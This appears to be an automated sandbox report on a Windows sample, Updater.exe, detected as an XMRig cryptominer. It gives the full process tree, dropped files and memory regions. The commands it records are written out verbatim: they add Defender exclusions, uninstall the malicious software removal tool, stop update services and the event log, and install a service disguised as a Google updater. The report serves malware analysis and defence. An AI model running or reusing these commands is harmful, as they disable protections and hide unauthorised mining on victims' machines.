Analysis

  • max time kernel
    50s
  • max time network
    83s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/03/2024, 16:30

General

  • Target
    Updater.exe
  • Size 5.6MB
  • Sample240302-tz2klseh5z
  • SHA256 679519fc079ccf78798bba9565460f88d2364befde6ea3df516362610ad101ad
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Updater.exe
    "C:\Users\Admin\AppData\Local\Temp\Updater.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:4172
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2200
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:4132
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4356
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1488
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4128
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2856
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:924
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4620
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3960
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:8
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:4100
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3288
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:3240
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:1372
    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
      C:\ProgramData\GoogleUP\Chrome\Updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4332
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:1376
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4136
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:2160
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4440
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:1664
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:4072
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3780
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4124
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:252
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1840
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:848
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2228

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              Updater.exe

              • Path C:\ProgramData\GoogleUP\Chrome\Updater.exe
              • Size 5.6MB
              • SHA256 679519fc079ccf78798bba9565460f88d2364befde6ea3df516362610ad101ad
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_uvrdscef.0or.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uvrdscef.0or.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              hosts

              • Path C:\Windows\system32\drivers\etc\hosts
              • Size 3KB
              • SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
              • MD5 SHA1 SHA512

              memory/848-61-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/848-62-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/848-65-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/848-63-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/848-59-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/848-60-0x0000000140000000-0x000000014000E000-memory.dmp

              memory/2200-11-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

              memory/2200-17-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

              memory/2200-14-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

              memory/2200-13-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

              memory/2200-12-0x00000208CCC20000-0x00000208CCC30000-memory.dmp

              memory/2200-10-0x00000208CCF40000-0x00000208CCF62000-memory.dmp

              memory/2228-75-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-73-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-72-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-71-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-70-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-69-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-68-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-67-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-74-0x00000000016C0000-0x00000000016E0000-memory.dmp

              memory/2228-76-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-77-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-78-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-79-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/2228-80-0x00000000121F0000-0x0000000012230000-memory.dmp

              memory/3744-33-0x0000017825930000-0x0000017825940000-memory.dmp

              memory/3744-46-0x0000017825920000-0x000001782592A000-memory.dmp

              memory/3744-53-0x0000017825930000-0x0000017825940000-memory.dmp

              memory/3744-52-0x0000017825EC0000-0x0000017825ECA000-memory.dmp

              memory/3744-51-0x0000017825EB0000-0x0000017825EB6000-memory.dmp

              memory/3744-50-0x0000017825E80000-0x0000017825E88000-memory.dmp

              memory/3744-49-0x0000017825ED0000-0x0000017825EEA000-memory.dmp

              memory/3744-48-0x0000017825E70000-0x0000017825E7A000-memory.dmp

              memory/3744-47-0x0000017825E90000-0x0000017825EAC000-memory.dmp

              memory/3744-56-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

              memory/3744-45-0x0000017825CB0000-0x0000017825D63000-memory.dmp

              memory/3744-44-0x00007FF4E6DE0000-0x00007FF4E6DF0000-memory.dmp

              memory/3744-43-0x0000017825C90000-0x0000017825CAC000-memory.dmp

              memory/3744-34-0x0000017825930000-0x0000017825940000-memory.dmp

              memory/3744-32-0x00007FFF05530000-0x00007FFF05FF2000-memory.dmp

              memory/4172-0-0x00007FF7C7C80000-0x00007FF7C8864000-memory.dmp

              memory/4332-22-0x00007FF6B44A0000-0x00007FF6B5084000-memory.dmp